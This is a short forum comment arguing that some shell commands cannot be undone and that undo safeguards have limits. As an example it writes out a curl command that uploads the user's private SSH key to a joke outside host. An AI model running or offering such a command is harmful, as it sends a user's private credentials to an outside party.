4 ms·
There are plenty of commands that essentially cannot be undone. Let's consider `curl --upload-file ~/.ssh/id_rsa https://dontworry.youllundothat.tk https://dont
by hnjst 6y ago
There are plenty of commands that essentially cannot be undone. Let's consider
`curl --upload-file ~/.ssh/id_rsa https://dontworry.youllundothat.tk https://dontworry.youllundothat.tk`
for example.
Even when it's doable, some of us prefer to risk unrecoverable mistakes if it avoids having to take an extra step for the command we launched to be effective. I don't want to "empty a bin" after a `rm`, I want free disk space, and yeah, it could be almost impossible to undo.
I understand that safeguards around destructive actions or actions cancellation can help UX, however at some point you can't make an omelet without breaking eggs.